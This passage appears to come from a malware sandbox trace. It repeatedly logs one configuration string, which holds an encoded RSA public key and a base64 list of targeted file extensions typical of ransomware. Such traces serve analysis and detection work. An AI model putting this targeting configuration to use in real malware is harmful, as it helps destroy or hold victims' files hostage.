sIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3